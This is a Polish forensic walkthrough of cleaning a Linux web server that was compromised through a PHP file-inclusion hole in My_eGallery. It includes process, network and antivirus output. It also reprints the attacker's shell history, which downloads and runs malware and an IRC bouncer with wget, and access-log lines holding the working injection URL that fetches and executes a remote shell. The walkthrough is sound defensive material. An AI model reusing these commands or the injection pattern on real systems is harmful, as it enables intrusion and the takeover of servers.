Zainfekowany serwer
Opisano tu przypadek serwera z zainstalowanym wirusem, który nadal można uratować - bez konieczności reinstalacji.
# ps auxw
nobody 10279 0.0 0.0 1416 280 ? S Jan23 0:00 ./rh 1000
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog..
nobody 25551 0.0 0.0 1504 392 ? S 13:29 0:00 ./httpd
nobody 16386 0.0 0.0 1496 400 ? S 13:33 0:00 ./raven
Najwyraźniej haker wykorzystał luki w skryptach php i mógł mieć dostęp do powłoki shell na serwerze. Następnie mógł zainstalować, skompilować i uruchomić różne programy. Widać, że używano nazw takich jak httpd, które oznaczają z reguły serwer apache. Na pierwszy rzut oka wygląda to na serwer web, mimo że tak w istocie nie jest.
Haker mógł również zobaczyć to:
# uname -a
Linux nsxxxxxxx 2.4.24-custom-grsec #1 mar jan 6 22:29:56 CET 2004 i686 unknown
Klient skompilował jądro bez błędu zabezpieczenia. Możemy zatem domyślać się, że haker nie mógł mieć dostępu roota do serwera.
Przeprowadzimy kilka testów:
# netstat -tanpu
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:58215 CLOSE_WAIT -
tcp 0 0 213.186.XX.XX :59768 68.123.42.162:1449 ESTABLISHED 16386/raven
tcp 0 0 213.186.XX.XX :42473 195.47.220.2:6667 ESTABLISHED 647/fileoutlog.
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:58698 CLOSE_WAIT -
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:52703 CLOSE_WAIT -
tcp 0 0 213.186.XX.XX :42427 193.109.122.67:6667 ESTABLISHED 647/fileoutlog.
tcp 0 0 213.186.XX.XX :36162 62.235.13.228:6667 ESTABLISHED 647/fileoutlog.
udp 0 0 0.0.0.0 :3049 0.0.0.0:* 10279/rh
Widać, że proces
rh nasłuchuje na porcie 3049. W grę wchodzi wirus. Proces jest w stanie "nobody"; pewne jest, że wirus nie został zainstalowany (jak na razie). Należy być teraz bardzo ostrożnym. Jeden nieprawidłowy krok może skutkować instalacją wirusa w root i nie pozostanie nic poza reinstalacją serwera. Dlatego najpierw zaczniemy od sprawdzenia, czy chodzi o wirusa. Zainstalujemy antywirusa i przeglądniemy katalogi.
Zrobimy to tak, żeby wirus nie mógł zmodyfikować antywirusa.
# chattr -i antivir
- cp ../vdf/antivir.vdf ./
- ./antivir
'AntiVir' / Linux Version 2.0.9-12
Copyright (c) 1994-2003 by H+BEDV Datentechnik GmbH.
All rights reserved.
Loading /temp/antivir-workstation-2.0.9/bin/antivir.vdf ...
'AntiVir' is running in DEMO mode.
VDF version: 6.23.0.34 created 18 Jan 2004
checking drive/path (cwd): /temp/antivir-workstation-2.0.9/bin
scan results
directories: 1
files: 1
alerts: 0
scan time: 00:00:01
Thank you for using 'AntiVir'.
Teraz sprawdzimy katalogi:
# ./antivir --allfiles /*
'AntiVir' / Linux Version 2.0.9-12
Copyright (c) 1994-2003 by H+BEDV Datentechnik GmbH.
All rights reserved.
Loading /temp/antivir-workstation-2.0.9/bin/antivir.vdf ...
'AntiVir' is running in DEMO mode.
VDF version: 6.23.0.34 created 18 Jan 2004
checking drive/path (list): /bin
checking drive/path (list): /boot
checking drive/path (list): /dev
checking drive/path (list): /etc
checking drive/path (list): /home
checking drive/path (list): /initrd
checking drive/path (list): /lib
checking drive/path (list): /lost+found
checking drive/path (list): /mnt
checking drive/path (list): /opt
checking drive/path (list): /proc
checking drive/path (list): /root
checking drive/path (list): /sbin
checking drive/path (list): /temp
checking drive/path (list): /tmp
/tmp/bindtty
Date: 24.01.2004 Time: 13:39:29 Size: 28143
ALERT:
Linux/Rst.B virus /tmp/bindtty Contains signature of the Linux virus Linux/Rst.B
/tmp/_30267_120_21.wrk
Date: 24.01.2004 Time: 13:35:05 Size: 9834
ALERT:
Linux/Rst.B virus /tmp/_30267_120_21.wrk Contains signature of the Linux virus Linux/Rst.B
/tmp/d
Date: 15.12.2003 Time: 16:41:54 Size: 132720
ALERT:
Linux/Rst.B virus /tmp/d Contains signature of the Linux virus Linux/Rst.B
/tmp/d2
Date: 24.01.2004 Time: 13:39:29 Size: 93694
ALERT:
Linux/Rst.B virus /tmp/d2 Contains signature of the Linux virus Linux/Rst.B
checking drive/path (list): /usr
checking drive/path (list): /var
scan results
directories: 17
files: 713
alerts: 4
repaired: 0
deleted: 0
renamed: 0
scan time: 00:00:08
Thank you for using 'AntiVir'.
Jest to
Rst.B :
http://www.computeruser.com/news/02/01/08/news1.html
http://www.sophos.fr/virusinfo/analyses/linuxrstb.html
NIE WOLNO dopuścić do jego instalacji.
Obecnie wirus ten jest wykonywany przez nobody - użytkownik nie może zrobić wiele na serwerze. Mając połączenie root , jeżeli go zainstaluje, da mu prawo dostępu jako root czyli superużytkownik. Od tego momentu wirus mający prawo dostępu do całego dysku będzie oddziaływał na wszystkie pliki (które należą do root).
# cd /tmp
- ls -l
total 9348
-rwxrwxrwx 1 nobody nobody 28143 jan 24 13:39 bindtty
-rwxr-xr-x 1 nobody nobody 132720 dec 15 16:41 d
-rwxr-xr-x 1 nobody nobody 93694 jan 24 13:39 d2
drwxr-xr-x 11 nobody nobody 4096 jan 24 12:05 psybnc
- rm -rf *
- ls -al
total 24
drwxrwxrwt 3 root root 12288 jan 24 16:11 .
drwxr-xr-x 19 root root 4096 jan 24 15:47 ..
drwxr-xr-x 3 nobody nobody 4096 jan 24 13:42 ...
-rw- 1 nobody nobody 803 jan 23 11:38 .bash_history
Oto plik bash w shell. Sprawdźmy to, co dopisał hacker:
# cat .bash_history
cd /var/tmp
uptime
mkdir " "
cd " "
wget
http://hm2k.org/irc/psybnc/psyBNC2.2.1-linux-i86-static.tar.gz class="wiki" href="4">4
tar -zxvf psyBNC2.2.1-linux-i86-static.tar.gz
rm -rf psyBNC2.2.1-linux-i86-static.tar.gz
cd psybnc
make
rm -rf psybnc.conf
wget e-2008.com/psybnc.conf
./psybnc
w
cd /var/tmp
mkdir " .."
cd " .."
wget cool-life.org/alina
chmod +x alina
./alina
cat /etc/issue
./alina
./alina
./alina
./alina
./alina
./alina
./alina
wget mephist0.3x.ro/insert.tar.gz
tar zxvf insert.tar.gz
cd 123123321
./x
./x
./x
./x
./x
./x
wget wget
www.bogo.as.ro/linux/httpd
chmod +x httpd
./httpd
socklist
ps ax
wget ma-doare-n-pwla.com/bind.tgz
chmod +x bind
tar zxvf bind.tgz
cd bind
chmod +x raven
./raven
kill -9 9296
ps ax
killall -9 x
killall -9 alina
killall -9 psybnc
ps afx
killall -9 tmp/./bindtty
killall -9 bindtty
-
Widzimy, że utworzono katalog " " (ze spacją). Poza tym hacker instaluje bounce'a IRC, którego będzie wykorzystywał w przyszłości do łączenia jednego serwera z drugim. Pozwoli mu to na uniknięcie podania jego prawdziwego ip połączenia. Pozostanie zawsze anonimowy.
Teraz zatrzymamy procesy :
# ps auxw | grep nobody
nobody 10279 0.0 0.0 1416 280 ? S Jan23 0:00 ./rh 1000
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog.
nobody 25551 0.0 0.0 1504 392 ? S 13:29 0:00 ./httpd
nobody 16386 0.0 0.0 1496 400 ? S 13:33 0:00 ./raven
- kill 10279
- kill 647
- kill 25551
- kill 16386
- ps auxw | grep nobody
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog.
- kill -9 647
- ps auxw | grep nobody
Sprawdzamy, czy hacker nie zainstalował pliku
crontab
# cd /var/spool/cron/
- ls -al
total 8
drwx- 2 root root 4096 jui 17 2003 .
drwxr-xr-x 7 root root 4096 jun 24 2003 ..
Doskonale. Serwer jest znowu czysty. Ale haker może nadal wykorzystwać lukę w skryptach php i powrócić na serwer. Należy więc odnaleźć plik php, który nie jest zabezpieczony.
# cd /usr/local/apache/logs
W tym celu wyszukamy żądania GET w skryptach php, gdzie sprawdzimy parametry. Najprawdopodobniej haker użył wget, aby wgrać na serwer plik wykonywalny.
# grep "php?" *_log | grep GET | grep wget
ovh-access_log:202.133.101.83 - -
18/Jan/2004:11:40:48 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=wget%20streez.org/bindtty%20-O%20/tmp/bindtty
5 HTTP/1.0" 200 910 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23
en"
Zgadza się. Sprawdzimy teraz, co jeszcze zrobił.
# grep "202.133.101.83" ovh-access_log
202.133.101.83 - -
18/Jan/2004:11:40:01 +0100 "GET /~sitehacke/sitehacke/modules.php?name=My_eGallery HTTP/1.0" 200 14012 "http://www.google.com.my/search?q=allinurl:+My_eGallery+site:.net&hl=ms&lr=&ie=UTF-8&oe=UTF-8&start=420&sa=N
6" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23
en"
202.133.101.83 - -
18/Jan/2004:11:40:10 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=uname%20-a;%20id
7 HTTP/1.0" 200 794 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23
en"
202.133.101.83 - -
18/Jan/2004:11:40:48 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=wget%20streez.org/bindtty%20-O%20/tmp/bindtty
8 HTTP/1.0" 200 910 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23
en"
202.133.101.83 - -
18/Jan/2004:11:41:06 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=chmod%20777%20/tmp/bindtty
9 HTTP/1.0" 200 705 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23
en"
202.133.101.83 - -
18/Jan/2004:11:41:24 +0100 "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=/tmp/./bindtty
10 HTTP/1.0" 200 734 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23
en"
I tak:
Poprzez Google wyszukiwał stron, które zostały zainstalowane w My_EGallery.
www.google.com.my/search?q=allinurl:+My_eGallery+site
Najpierw próbował sprawdzić, czy ten skrypt ma lukę poprzez próbę wykonania
uname -a; id . Widocznie to zadziałało. Zainstalował shella z wirusem i skopiował go do katalogu /tmp
wget 20streez.org/bindtty -O /tmp/bindtty. Nastepnie przyznał uprawnienia wykonania temu skryptowi :
chmod 777 /tmp/bindtty i wykonał go :
/tmp/./bindtty
To pozwoliło mu uruchomić shella i otrzymać dostęp do serwera jako nobody. A wszystko to w 1 minutę i 23 sekundy !! Zablokujemy ten katalog :
# cd /home/sitehacke
- ls -al
total 16
drwx-r-x 4 sitehacke users 4096 sep 9 19:34 .
drwxr-xr-x 98 root root 4096 jan 23 11:42 ..
drwx-r-x 2 sitehacke users 4096 sep 9 19:34 cgi-bin
drwx-r-x 6 sitehacke users 4096 dec 21 00:57 www
- chmod -cfR 0 *
Haker łączył się z adresu ip 202.133.101.83
# whois 202.133.101.83
inetnum: 202.133.96.0 - 202.133.111.255
netname: MYKRISNET
descr: Wireless Internet Service Provider
descr: descr: Mont' Kiara, Kuala Lumpur, Malaysia.
country: MY
Ip z Malezji, prawdopodobnie zaatakowany abonent ADSL. Nic nie da złożenie doniesienia na Policję.
W
dmesg serwera widać:
# dmesg
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
eth0: link down
eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
eth0: link down
eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
grsec: From 81.196.46.28: signal 11 sent to (km3:13236) UID(99) EUID(99), parent (km3:17922) UID(99) EUID(99)
grsec: From 81.196.46.28: signal 11 sent to (km3:7660) UID(99) EUID(99), parent (km3:13236) UID(99) EUID(99)
grsec: From 80.96.33.157: signal 11 sent to (psybnc:17799) UID(99) EUID(99), parent (init:1) UID(0) EUID(0)
grsec: From 80.96.33.157: signal 11 sent to (psybnc:21648) UID(99) EUID(99), parent (init:1) UID(0) EUID(0)
Haker chciał uruchomić softa alina, prawdopodobnie skan sieci. Na szczęście komórka GRS wykryła to i zakończyła ten proces. Następnie haker próbował przeprowadzić inne skany sieci. Były one na tyle agresywne, że połączenie sieciowe rj45 przerwało je w przeciągu kilku sekund :
# grep "eth0" /var/log/messages
Jan 23 11:29:25 ns10 kernel: eth0: link down
Jan 23 11:32:14 ns10 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
Jan 23 11:32:17 ns10 kernel: eth0: link down
Jan 23 11:32:18 ns10 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
Ponieważ połączenie zostało przerwane, wykresy MRTG nie pokazują ataku. Widoczne jest, że ip połączenia ponownie zmieniło się :
# whois 80.96.33.10
Requete en cours whois.ripe.net
inetnum: 80.96.33.0 - 80.96.33.255
netname: SC-NET-AND-COMPUTERS-SRL
descr: SC Net & Computers SRL
descr: Str. Petru Rares nr.7 Dorohoi
country: ro
Adres IP z Rumunii.
# whois 81.196.46.28
Requete en cours whois.ripe.net
inetnum: 81.196.46.0 - 81.196.46.31
netname: RO-OR-MULTINET-20030708
descr: Multinet Systems SRL
country: RO
Ponownie adres IP z Rumunii.
Napiszemy wiadomość e-mail do administratorów sieci, którzy zarządzają tymi ip, aby sprawdzili swoją sieć. Nigdy jednak nie otrzymamy odpowiedzi i nigdy nie będziemy wiedzieć, czy sieć została sprawdzona.
Wniosek:
Aktualizuj swój serwer i sprawdzaj, co sie na nim dzieje. Atak hakera jest łatwy i szybki. Hakera nia można jednak odnaleźć.